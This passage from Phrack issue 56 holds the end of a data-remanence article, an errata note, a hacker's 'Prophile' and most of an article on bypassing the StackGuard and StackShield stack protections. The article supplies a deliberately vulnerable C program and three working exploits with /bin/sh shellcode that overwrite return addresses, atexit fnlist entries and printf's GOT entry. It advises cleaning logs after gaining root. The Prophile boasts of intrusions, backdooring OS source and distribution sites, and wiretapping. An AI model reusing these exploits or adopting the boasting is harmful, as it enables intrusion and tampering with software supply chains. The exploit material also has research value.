Imagine a device that sits in‑line between your IDE (or SCSI) adapter and the disk controller of the drive. All attempts by the PC to negotiate with the drive are intercepted by this device, and the data is either encrypted or decrypted as needed and sent along. Thus everything that ever touches the drive: file system formatting, the OS ... everything gets encrypted and stored. The entire operation would be transparent to the host computer, and independent of its processing. The user merely gives a key to this controller at start up: maybe there is a keypad embedded into a 5.25" faceplate that is mounted on the computer's case.

Such a hardware solution not only takes care of data remanence issues but also helps to secure the computer as a whole: with the partition table, and OS encrypted, the machine cannot boot without the user having set up the in‑line filter with the correct key.

Can a well funded adversary pull off a laboratory attack like those discussed here? Probably. So if you're not using some form of encryption, you might want to start thinking about it. For the stuff that no one but you can know about, keep the plaintext on floppies and the ciphertext on your hard drive. Floppies can be destroyed or degaussed easily. Remember to watch your swap partition though; it is probably wise to disengage swap when manipulating sensitive material. Best of all, RAM is cheap. Buy 256M of it and give up swap space completely.

Against a sufficiently powerful attacker who has your hard drive, you are in a world of hurt without in‑line encryption. Just how powerful "sufficiently powerful" needs to be to actually make this stuff work is open to speculation.

Notes:

1. NCSC‑TG‑025 "A Guide to Understanding Data Remanence in Automated Information Systems" http://www.geekstreet.com/green.html

2. This was all tested with linux kernel version 2.0.35. I do not know if 2.1.* will ever have a newer ext2 or not. Look into the chattr command on your machine, and dig into the kernel source to see if the ext2 code does anything or not. On 2.0.*, it does nothing.

3. From the No‑where utilities, get it from your favorite HP filez site.

4. Burn is available from the Info‑Mac archives.

|0x06|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Phrack 55 Addendum and Errata ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

P55‑14@71:

I would like to make the following correction in my article "A GPS Primer" from Phrack 55. The Teledesic project is _not_ a MEO satellite venture, but rather, it uses Low Earth Orbit (LEO) satellites. Thanks to Eric Rachner for pointing this out.

[ Thankz to e5 for submitting this correction. ]

P55‑18:

File 18 was erroneously listed as file 17.

Phrack Prophile

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x04[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ P R O P H I L E ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ sw_r ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

The Phrack Prophile iz intended to be a short biography on the indiviual in question. It'z Phrackz way to recognize that this person has done something worthy of mention in some capacity. More or less a soap‑box, The Prophile givez the person a chance to spout off about whutever they want and aggrandize themselvez to their heart'z content. This iz *their* time to shine.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ P E R S O N A L ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑Handle ‑‑‑‑‑‑‑‑‑‑‑‑‑| Shockwave Rider

|‑Previouz handlez ‑‑‑| The Phelon, cpmhaqr, guest_, master blaster, s1thl0rd, others

|‑Handle origin ‑‑‑‑‑‑| 1975 book by John Brunner

|‑Call him ‑‑‑‑‑‑‑‑‑‑‑| Varies depending on who you are

|‑Reach him ‑‑‑‑‑‑‑‑‑‑| Don't call me, I'll call you .. (email: swr@gti.net) |‑Date of birth ‑‑‑‑‑‑| 5/16/80

|‑Height ‑‑‑‑‑‑‑‑‑‑‑‑‑| 5'10"

|‑Weight ‑‑‑‑‑‑‑‑‑‑‑‑‑| 170

|‑Eye Color ‑‑‑‑‑‑‑‑‑‑| Brown

|‑Hair Color ‑‑‑‑‑‑‑‑‑| Black

|‑Cool crap owned ‑‑‑‑| one line isn't gonna do this justice.. ;) |‑Sitez I run ‑‑‑‑‑‑‑‑| various private systems

|‑URLz ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| the web is gay. but check these urls out anyway: http://www.suzie.org

http://www.velkro.net/swr

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ F A V O R I T E Z ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑Women ‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

Brunettes with class, wit, and intelligence. hi suzie!@

|‑Carz ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

As of this writing, I don't really drive.. once I settle into my new location, I plan to purchase a new vehicle. (I've always been into cars and performance vehicles, so it'll be something FAST!@). I have tons of 'favorite' cars, but among the favorite of the favorites at the moment are the Porsche 911, Dodge Viper, Porsche 959 (the only reason it doesn't win hands down is 'cuz it's still not street‑legal, which sucks) & Acura's NSX‑T.

|‑Foodz ‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

All kinds ‑ I'm Indian, so naturally Indian's my favorite.. but I also love Italian, Thai, Chinese, etc. My favorite foods overall are probably steak and pizza. If made right, I could live on both forever without tiring of either though I'd probably want Indian food occasionally (of course).

|‑Alcohol ‑‑‑‑‑‑‑‑‑‑‑‑|

Wayyy too much to list here. I like good beer, strong whiskey.. and pretty much anything else as long as it's wet & alcoholic(!@).

|‑Music ‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

Major hip‑hop fan. I'm also into hard rock/heavy metal, classical.. pretty much everything, except for the perennial exception that is Country. Favorite bands/groups off the top of my head include ‑

NWA, Tribe Called Quest, Eazy‑E, Beastie Boys, Nirvana, Tool, Eric B+Rahkim, Slick Rick, Metallica, Korn, Beck, Ice Cube, KRS‑ONE, Public Enemy, Front 242, Guns N Roses, Schooly D, Cypress Hill, Led Zeppelin, Wu‑Tang Clan, MC Eiht, MC Ren, Garbage (Shirley Manson r000lz), NIN, Toadies, Aerosmith, Sir Mixalot, Me First & The Gimme Gimmes, DR Octagon, DJ Rectangle, Eminem, Weird Al, Motley Crue, Mr. Bungle, Red Hot Chili Peppers, Gang Starr, Run‑DMC..

|‑Moviez ‑‑‑‑‑‑‑‑‑‑‑‑‑|

HEAT, Goodfellas ‑ pretty much anything with DeNiro or Pacino in it, GodFather I, Pulp Fiction, Strange Brew, Bill & Teds * (classics), South Park, El Mariachi

|‑Authorz ‑‑‑‑‑‑‑‑‑‑‑‑|

quick list ‑

Fyodor Dostoevsky (Crime & Punishment, Brothers Karamozov)

Dave Barry (Everything)

Joseph Heller (Catch‑22)

WR Stevens (TCP/IP Illus 1‑2, others)

J.D. Salinger (Catcher In the Rye)

George Orwell (1984, Animal Farm)

John Brunner (Shockwave Rider)

J.R.R. Tolkien (I loved the Lord of the Rings Trilogy when I was a kid, and "The Hobbit" also),

Ray Bradbury (Something Wicked This Way Comes)

Robert Silverberg (the Pontifex Valentine and Gilgamesh books.. part of my fantasy fiction phase, around the same time as Tolkien)

Victor Harris (The Book of Five Rings),

Nicholas Pileggi (WiseGuy),

Sun Tzu (The Art of War),

Chris Drake & Kimberley Brown (PANIC!, the most readable tech book I've ever read ‑ which is still incredibly useful)

Neal Stephenson (Snowcrash)

William Gibson (Everything)

|‑Turn ons ‑‑‑‑‑‑|

Tits (all shapes, sizes, colors & flavors), legs,(long and smooth), platform sandals, belly button piercings, long dark hair, two chicks doing it with each other, summer dresses, and of course intelligence + sense of humor.. (those are all in reference to women)

|‑Turn offs ‑‑‑‑|

Anal retentiveness, pedantry, miserliness, posing/pretentiousness, stupidity (those apply to both sexes).

|‑Passions ‑‑‑‑‑|

pea! (no, not peaboy.. schmucks)

Phones. UNIX & VMS internals. Learning new programming languages and operating systems.

Fast cars, clever & beautiful women, good music, Guinness, good food, winter, spring, summer, fall, nights, sunsets, sunrises, good books, sleeping, ms. pacman coffee tables, cycling, coca‑cola, mountain dew, water slides, learning, booze, sex/drugs/rocknroll, ice cream, weaponry, playing football, friends, video games.. anything as long as it's fun

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ M E M O R A B L E E X P E R I E N C E Z ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

Buying my first modem, and installing it. Installing QModem & calling my first BBS.

Being introduced to the concept of hacking/phreaking by a local sysop (who I am still the best of friends with today). He told me I should download Phrack ('get phrack.. that zine rocks d00d, it has the best philes!'). So I dl'd the latest issue at the time, which was Phrack 46.

PBXes (System75s, SL‑1s, Rolms, DataStar & all the rest..)

Setting up my first Alliance teleconference (0‑700‑456‑1000)

CBI

Writing my first t‑file

Figuring out how to spawn DCL shells from captive and guest accounts.

On a dialup UNIX machine, in a distant galaxy, a long, LONG time ago.. the first '#' prompt I ever saw.

First NUI (it was on sprintnet)

First sniffer log (sunsniffer r0ckz)

First time on a DMS‑100

First unpublished exploit (thanks to Scott Chasin for his generous ‑ albeit involuntary ‑ donation :))

Being invited to join the Phone Losers of America by el_jefe. (Anyone other than myself, dhate, and el_jefe who claims PLA is a poser. Especially RBCP and his band of gay doodleboys.)

Meeting tr0ut (by hacking a system he was using) & joining H4G1S in its infancy.

First root shell on a 5ESS.

Yahoo!

Two words.. Jay Dyson.

The first (root‑yielding) hole I found in UNIX.

The first exploit I ever stole.

The first exploit I ever wrote.

Mastering digital wiretapping.

Being woken up by FBI agents.

Monitoring a certain computer security expert from California who appeared in Wired Magazine along with Mark Lottor as "V.T." in an article written by John Markoff about cellular phreaking. (Restore your honor.. come and get me, big guy. And get busted for eavesdropping on phonesex!@)

When dk, prym, and I forwarded a certain Phrack editor's phone line to a bridge, and took all his calls for a weekend. (Sorry about that, route.. water under the bridge ;))

[ EdNote: it wasn't for a weekend fuck0! It was for a day (I disconnected the number that afternoon ‑‑ and I still remember it because it was so elite: 2801600). ]

IRC'ing as erikb.

Mocking "security expert" Scott Yelich while breaking into his 'secure' machine, security.spy.org. (He ended up pulling his cables.. lame).

Owning everyone and everything.

c4p3b0y vs. andy 0f m4yb3rry

autoreplyd

groktelnet

Backdooring the source code of several popular commercial & free operating systems, and binary distributions of popular packages at their distro sites. (I'll bet that gives you a warm, fuzzy feeling just thinking about it.)

Cheating on every online game in existence for laughs (a lot of them with DK)

kibitz on beelzebub (y0y0 neal!)

Writing BoW 9 with U4EA, Lister, and DK

All the funny prank calls, especially with el_jefe, dhate, U4EA & DK.

My first con (pumpcon).. the kind of experience that's memorable because nobody lets you forget it ;)

whackpack.hilarious.log

gay.log

our short‑lived young apprentice (dead_rat of the LoD!@##$)

elastic's 'creatively edited' logs

sloppy's ass mailing list & everything associated with it ‑ 50mb of email a day, getting threatened with lawsuits by Captain Zap (world‑class retard, belongs in the meinel‑vranesevich‑shipley‑brianmartin trashcan), Agent Steal's 400k ego rants, elastic's incoherent & hilarious ravings, etc etc.

SEAWORLD ADVENTURE SARLO

Oh yeah, and boards to mention:

The Forbidden City

Ripco

The Toll Center

Demon Roach Underground

The Station

Error 23

Realms of Valor

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Q U O T E Z ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

GO AWAY PLA!

It's not paranoia if they're really after you.

leggo my eggo

pea *SPINS*

"KTHNX!"

‑pea

???

P4NTZ/H4G1S ‑ GL0B4L D0M1N4Ti0N '97

P4NTZ/H4G1S ‑ GL0B4L D0M1N4Ti0N '97 ‑ PR1S0N '98

If you're not owned by H4G1S, you're not worth owning.

If you're not worth owning, you're probably owned by H4G1S anyway.

'$show users /full/int/givemesysprivs'

"yeah, but, uh, how are we supposed to chmod chmod?"

"dog"

‑ tr0ut

Welcome to OpenBSD: The proactively secure Unix‑like operating system.

"The dragons breath was warm and damp, it fogged up the mirror, I wiped the mirror with a tissue, the tissue tore, the dragon swallowed the damp tissue whole." (probably not exact)

‑ tr0ut

"f dragons"

‑ tr0ut

y0y0y0, sl0ppy 0n the m1c

watch my h1p tr1x 0n da bmx b1ke

I'm whirlin' and twirlin' like a bat 0utta hell

d00d, that stench, it's me, I smell!

0n the payph0nez iz where I l1ke t0 be

call1ng ppl I d0nt even kn0w in TURKEY!

HEHEHE! I have a psychopathic streak!

messaging st4r ab0ut drag0nz iz when I'm at my peak!

g00d g0d r0d, that tissue is damp!

watch th1s 360 of the handicap r4mp!

0ff I g0, b1king int0 the sun

tissuez and payph0nez, my life iz s0 fun!

‑ tr0ut freestyling on the topic of the official H4G1S BMXer

"what's a golden shower?"

<2 minutes later> "this is waq.. you can see people peeing!"

‑ sloppy

"hmm, huh, hrmm, duh, drhfhfhfmasfh rhummm shoelaces?"

"Don't question my technical abilities!"

‑ Agent Steal

"I hate JP more than I hate banana candy"

‑ dk

"We're so money and we don't even know it"

‑ dk

"i've had a lot of practice swordfighting underwater"

"‑shep‑"

‑u4ea

"Do they live in each others basements?"

‑ eubern1g

"Waaleikum Pastrami!"

‑ eubern1g

"Summa Sedes Non Capit Duos"

I would like to include a lot of other things the people listed below have said that aren't included here ‑ most of them are often pretty witty & funny. A lot of stupid things that people have said crossed my mind as well, but I decided I didn't want their words showing up in my Quotes.. :)

But, since I wrote this up from memory, and also due to space limitations, this is not possible..

Oh well.

|‑‑‑‑‑‑‑‑‑ T H E F U T U R E O F T H E U N D E R G R O U N D ‑‑‑‑‑‑‑‑‑‑|

Asking this question is analogous to asking a question about the future of 8‑tracks or dodo birds.

The underground is no longer underground. Forums which once existed for the discussion of hacking/phreaking, and the use of technology toward that end, now exist for bands of semi‑skilled programmers and self‑proclaimed security experts to yammer about their personal lives, which exist almost entirely on the awful medium known as IRC. The BBS, where the hack/phreak underground grew from, is long since dead. Any chump can buy access to the largest network in the world for $19.95 a month, then show up on IRC or some other equally lame forum, claiming to be a hacker because they read bugtraq and can run exploits (or even worse, because they can utilize denial‑of‑service attacks). The hacker mindset has become a nonexistent commodity in the new corporate and media‑friendly 'underground.'

And everyone who was a real part of the hacking/phreaking scene ‑ at one point or another decided they'd rather make money being legit than risk legal troubles and wrecking their future for nothing. Myself included.

The watered down underground's definition of a hacker is invariably something like: "Someone who can code," or "Someone who can hack webpages," etc.

The motives and goals of this 'scene' are also entirely different, and it can be safely concluded that it will continue to degenerate further, at a rapid pace.

On the flip side, going legit is a good thing... I, for one, would rather be on the right side of the law, and getting paid for it ‑ it was fun while it lasted, and I learned a lot, but we all have to grow up sometime.

And for those just getting into it now ‑ why hack? All the knowledge and information you could possibly want is available at the click of a button in any web browser (or push of an arrow, in Lynx).

If you instinctively and successfully refuted the last two paragraphs of bullshit logic... then you belong.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ S H O U T O U T Z ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

eubern1g, el_jefe, dhate, sl/tr0ut, sloppy, dk, neal, u4ea, dw, lurid, adamw, fryguy, sarlo, sn, prym, plaguez, elastic, netw1z, route, redragon/djm, jennie, acid phreak, number6, pea, fatalist, marauder, tabas, kwei, ratscabies.. anyone BoW MOD or H4G1S that i missed & anyone else i missed .. the el8z know who they are :)

I'd like to give a separate shout‑out to these following unnamed individuals, who shall be known by the arbitrary pseudonyms of:

oraclepunk, cheez, dos_tomates, the R&D militiamen, macgyver, SAF 1 & 'iblis'

(Don't ask.)

Bypassing StackGuard and StackShield

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x05[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ BYPASSING STACKGUARD AND STACKSHIELD ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Bulba and Kil3r <lam3rz@hert.org> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

‑‑‑‑| Preface

"When a buffer overwrites a pointer... The story of a restless mind."

This article is an attempt to demonstrate that it is possible to exploit stack overflow vulnerabilities on systems secured by StackGuard or StackShield even in hostile environments (such as when the stack is non‑executable).

‑‑‑‑| StackGuard Overview

According to its authors, StackGuard is a "simple compiler technique that virtually eliminates buffer overflow vulnerabilities with only modest performance penalties." [1]

We assume that the reader know how buffer overflow attacks work and how to write exploit code . If this is foreign to you, please see P49‑14.

In a nutshell, we can change a function's return address by writing past the end of local variable buffer. The side effect of altering a function's return address is that we destroy/modify all stack data contained beyond end of the overflowed buffer.

What does StackGuard do? It places a "canary" word next to the return address on the stack. If the canary word has been altered when the function returns, then a stack smashing attack has been attempted, and the program responds by emitting an intruder alert into syslog, and then halts.

Consider the following figure:

... ...

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| parameters passed to function |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| function's return address (RET) |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| canary |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| local frame pointer (%ebp) |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| local variables |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

... ...

To be effective, the attacker must not be able to "spoof" the canary word by embedding the value for the canary word in the attack string. StackGuard offers two techniques to prevent canary spoofing: "terminator" and "random".

A terminator canary contains NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff) ‑four characters that should terminate most string operations, rendering the overflow attempt harmless.

A random canary is chosen at random at the time the program execs. Thus the attacker cannot learn the canary value prior to the program start by searching the executable image. The random value is taken from /dev/urandom if available, and created by hashing the time of day if /dev/urandom is not supported. This randomness is sufficient to prevent most prediction attempts.

‑‑‑‑| StackShield

StackShield uses a different technique. The idea here is to create a separate stack to store a copy of the function's return address. Again this is achieved by adding some code at the very beginning and the end of a protected function. The code at the function prolog copies the return address to special table, and then at the epilog, it copies it back to the stack. So execution flow remains unchanged ‑‑ the function always returns to its caller. The actual return address isn't compared to the saved return address, so there is no way to check if a buffer overflow occurred. The latest version also adds some protection against calling function pointers that point at address not contained in .TEXT segment (it halts program execution if the return value has changed).

It might seem like these two systems are infallible. They're not.

‑‑‑‑| "Nelson Mengele must be free"

"...an attacker can bypass StackGuard protection using buffer overflows to alter other pointers in the program besides the return address, such as function pointers and longjmp buffers, which need not even be on the stack." [2]

OK. So. Do we need a bit of luck to overflow a function pointer or a longjmp? You bet! It's not exactly commonplace to find such a pointer located after our buffer, and most programs do not have it at all. It is much more likely to find some other kind of pointer. For example:

[root@sg StackGuard]# cat vul.c

// Example vulnerable program.

int f (char ** argv)

{

int pipa;// useless variable

char *p;

char a[30];

p=a;

printf ("p=%x\t ‑‑ before 1st strcpy\n",p); strcpy(p,argv[1]); // <== vulnerable strcpy()

printf ("p=%x\t ‑‑ after 1st strcpy\n",p); strncpy(p,argv[2],16);

printf("After second strcpy ;)\n");

}

main (int argc, char ** argv) {

f(argv);

execl("back_to_vul","",0); //<‑‑ The exec that fails

printf("End of program\n");

}

As you can see, we just overwrite the return address by overflowing our buffer. But this will get us nowhere since our program is StackGuard protected. But the simplest, obvious route is not always the best one. How about we just overwrite the `p` pointer? The second (safe) strncpy() operation will go straight to memory pointed by us. What if p points at our return address on the stack? We're altering the function's return without even touching the canary.

So what do we require for our attack?

1. We need pointer p to be physically located on the stack after our buffer a[].

2. We need an overflow bug that will allow us to overwrite this p pointer (i.e.: an unbounded strcpy).

3. We need one *copy() function (strcpy, memcopy, or whatever) that takes *p as a destination and user‑specified data as the source, and no p initialization between the overflow and the copy.

Obviously, given the above limitations not all programs compiled with StackGuard are going to be vulnerable, but such a vulnerabilities are out there. For example, the wu‑ftpd 2.5 mapped_path bug, where overflowing the mapped_path buffer could alter the Argv and LastArg pointers used by setproctitle() resulting in the ability to modify any part of the process' memory. Granted, it was *data* based overflow (not stack‑based) but, on the other hand, this shows that the requirements for our above vulnerability are definitely fulfilled in real world.

So how are we going to exploit it?

We overwrite p so it will point to the address of RET on the stack and thus the next *copy() will overwrite our RET without touching the canary :) Yes, we need to smuggle in the shellcode as well (we use argv[0]). Here is a sample exploit (we used execle() to make it environment independent):

[root@sg StackGuard]# cat ex.c

/* Example exploit no. 1 (c) by Lam3rZ 1999 :) */

char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh";

char addr[5]="AAAA\x00";

char buf[36];

int * p;

main() {

memset(buf,'A',32);

p = (int *)(buf+32);

*p=0xbffffeb4;// <<== let us point at RET

p = (int *)(addr);

*p=0xbfffff9b;// <<== new RET value

execle("./vul",shellcode,buf,addr,0,0);

}

As tested on a StackGuarded RH 5.2 Linux box:

[root@sg StackGuard]# gcc vul.c ‑o vul

[root@sg StackGuard]# gcc ex.c

[root@sg StackGuard]# ./a.out

p=bffffec4 ‑‑ before 1st strcpy

p=bffffeb4 ‑‑ after 1st strcpy

bash#

As you can see, the first strcpy() overwrites p, then strncpy() copies the new RET value so that when it returns it takes address of our shellcode. Kaboom!

This technique works with programs compiled with regular gcc or StackGuarded gcc, but StackShield compiled programs are proof against this.

‑‑‑‑| There is no spoon

I talked with Crispin Cowan <crispin@cse.ogi.edu>, one of the StackGuard developers and he proposed a remediation against above hack. Here's his idea:

"The XOR Random Canary defense: here, we adopt Aaron Grier's ancient proposal to xor the random canary with the return address. The canary validation code used on exit from functions then XOR's the return address with the proper random canary (assigned to this function at exec() time) to compute what the recorded random canary on the stack should be. If the attacker has hacked the return address, then the xor'd random canary will not match. The attacker cannot compute the canary to put on the stack without knowing the random canary value. This is effectively encryption of the return address with the random canary for this function.

The challenge here is to keep the attacker from learning the random canary value. Previously, we had proposed to do that by just surrounding the canary table with red pages, so that buffer overflows could not be used to extract canary values. However, Emsi's [described above] attack lets him synthesize pointers to arbitrary addresses."

(The simplest solution there is to) "mprotect() the canary table to prevent the attacker from corrupting it."

We informed Crispin that we're going to write an article about it and his response was:

"I think we can have a revised StackGuard compiler (with the XOR random canary) ready for release on Monday."

That compiler has been released. [3]

StackShield offers an (almost) equal level of security by saving the RET copy in safe place (of arbitrary location and size ‑‑ not necessarily a good practice however) and checking its integrity before doing the return.

We can bypass that.

If we have a pointer that can be manipulated, we can use it to overwrite things that can help us exploit a vulnerable overflow in a program. For example, take the fnlist structure that holds functions registered via atexit(3) or on_exit(3). To reach this branch of code, of course, the program needs to call exit(), but most programs do this either at the end of execution or when an error occurs (and in most cases we can force an error exception).

Let's look at the fnlist structure:

[root@sg StackGuard]# gdb vul

GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support [...]

This GDB was configured as "i386‑redhat‑linux"...

(gdb) b main

Breakpoint 1 at 0x8048790

(gdb) r

Starting program: /root/StackGuard/c/StackGuard/vul

Breakpoint 1, 0x8048790 in main ()

(gdb) x/10x &fnlist

0x400eed78 <fnlist>: 0x00000000 0x00000002 0x00000003 0x4000b8c0 0x400eed88 <fnlist+16>: 0x00000000 0x00000003 0x08048c20 0x00000000 0x400eed98 <fnlist+32>: 0x00000000 0x00000000

We can see that it calls two functions: _fini [0x8048c20] and _dl_fini [0x4000b8c0] and that neither of these take any arguments (checkout glibc sources to understand how to read the fnlist content). We can overwrite both of these functions. The fnlist address is dependent on the libc library, so it will be the same for every process on a particular machine.

The following code exploits a vulnerable overflow when the program exits via exit():

[root@sg StackGuard]# cat 3ex.c

/* Example exploit no. 2 (c) by Lam3rZ 1999 :) */

char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh";

char addr[5]="AAAA\x00";

char buf[36];

int * p;

main() {

memset(buf,'A',32);

p = (int *)(buf+32);

*p=0x400eed90;// <<== Address of entry in fnlist which we'll modify

p = (int *)(addr);

*p=0xbfffff9b;// <<== Address of new function to call (shellcode) :)

execle("./vul",shellcode,buf,addr,0,0);

}

As you can see our exploit has changed only by one line :)

Let's test it against our vulnerable program:

[root@sg StackGuard]# gcc 3ex.c

[root@sg StackGuard]# ./a.out

p=bffffec4 ‑‑ before 1st strcpy

p=400eed90 ‑‑ after 1st strcpy

After second strcpy ;)

End of program

bash#

As you can see our program gave us a shell after the end of normal execution. Neither StackGuard nor StackShield cannot protect against this kind of attack.

But what if our program do not call exit() but uses _exit() instead?

Let's see what happens when we overwrite the canary. A StackGuarded program will call __canary_death_handler() (this function is responsible for logging the overflow attempt and terminating the process). Let's look at it:

void __canary_death_handler (int index, int value, char pname[]) { printf (message, index, value, pname) ;

syslog (1, message, index, value, pname) ;

raise (4) ;

exit (666) ;

}

As you can see, we have a call to exit() at the very end. Granted, exploiting the program this way will generate logs, but if there is no other way, it's a necessary evil. Besides, if you get root, you can just groom them later.

We received some email from Perry Wagle <wagle@cse.ogi.edu> (another Stackguard author): "I seem to have lost my change to have it call _exit() instead...". Currently StackGuard calls _exit().

Of course the above hack does not apply to StackShield. StackShield protection can be bypassed by overwriting the saved %ebp which is not protected. One way of exploiting it (under the worst conditions) was described in "The Frame Pointer Overwrite" by klog in Phrack 55 [4]. When program is compiled using StackShield with the '‑z d' option it calls _exit() but this is not a problem for us.

‑‑‑‑| Discovering the America

What if a system has been protected with StackGuard *and* StackPatch (Solar Designer's modification that makes stack nonexecutable)? Is *this* the worst case scenario? Not quite.

We developed a clever technique that can be used if none of the above methods can be used.

The reader is directed to Rafal Wojtczuk's wonderful paper "Defeating Solar Designer's Non‑executable Stack Patch" [5]. His great idea was to patch the Global Offset Table (GOT). With our vulnerability we can produce an arbitrary pointer, so why not point it to the GOT?

Let's use our brains. Look at vulnerable program:

printf ("p=%x\t ‑‑ before 1st strcpy\n",p); strcpy(p,argv[1]);

printf ("p=%x\t ‑‑ after 1st strcpy\n",p); strncpy(p,argv[2],16);

printf("After second strcpy :)\n");

Yes. The program writes our content (argv[2]) to our pointer then it executes library code, printf(). OK, so what we need to do is to overwrite the GOT of printf() with the libc system() address so it will execute system("After second strcpy :)\n"); Let's test it in practice. To do this, we disassemble the Procedure Linkage Table (PLT) of printf().

[root@sg]# gdb vul

GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support [...]

This GDB was configured as "i386‑redhat‑linux"...

(gdb) x/2i printf

0x804856c <printf>: jmp *0x8049f18 <‑ printf()'s GOT entry 0x8048572 <printf+6>: pushl $0x8

(gdb)

OK, so printf()'s GOT entry is at 0x8049f18. All we need is to put the libc system() address at this location, 0x8049f18. According to Rafal's article we can calculate that our system() address is at: 0x40044000+0x2e740. 0x2e740 is an offset of __libc_system() in libc library:

[root@sg]# nm /lib/libc.so.6| grep system

0002e740 T __libc_system

0009bca0 T svcerr_systemerr

0002e740 W system

[ Note: the reader might notice we didn't use a kernel with Solar's patch. We were having problems with init(8) halting after boot. We were running out of time to get this article done so we decided to go without the kernel patch. All that would change is the 0x40. On systems with Solar's patch, libc is at 0x00XXYYZZ. So, for example, the above address would look like 0x00044000+0x2e740, the 0x00 at the beginning will terminate our string. We're not 100% positive that StackPatch is compatible with StackGuard, it SHOULD be, and even if it isn't, it CAN be... But we're not sure yet.. If any knows, please drop us a note. ]

OK, so let's test following exploit:

[root@sg]# cat 3ex3.c

/* Example exploit no. 3 (c) by Lam3rZ 1999 :) */

char *env[3]={"PATH=.",0};

char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh";

char addr[5]="AAAA\x00";

char buf[46];

int * p;

main() {

memset(buf,'A',36);

p = (int *)(buf+32);

*p++=0x8049f18;// <== printf() GOT entry address

p = (int *)(addr);

*p=0x40044000+0x2e740;// <<== Address of libc system()

printf("Exec code from %x\n",*p); execle("./vul",shellcode,buf,addr,0,env);

}

And test it!!!

[root@sg]# gcc 3ex3.c

[root@sg]# ./a.out

Exec code from 40072740

p=bffffec4 ‑‑ before 1st strcpy

p=8049f18 ‑‑ after 1st strcpy

sh: syntax error near unexpected token `:)'

sh: ‑c: line 1: `After second strcpy :)'

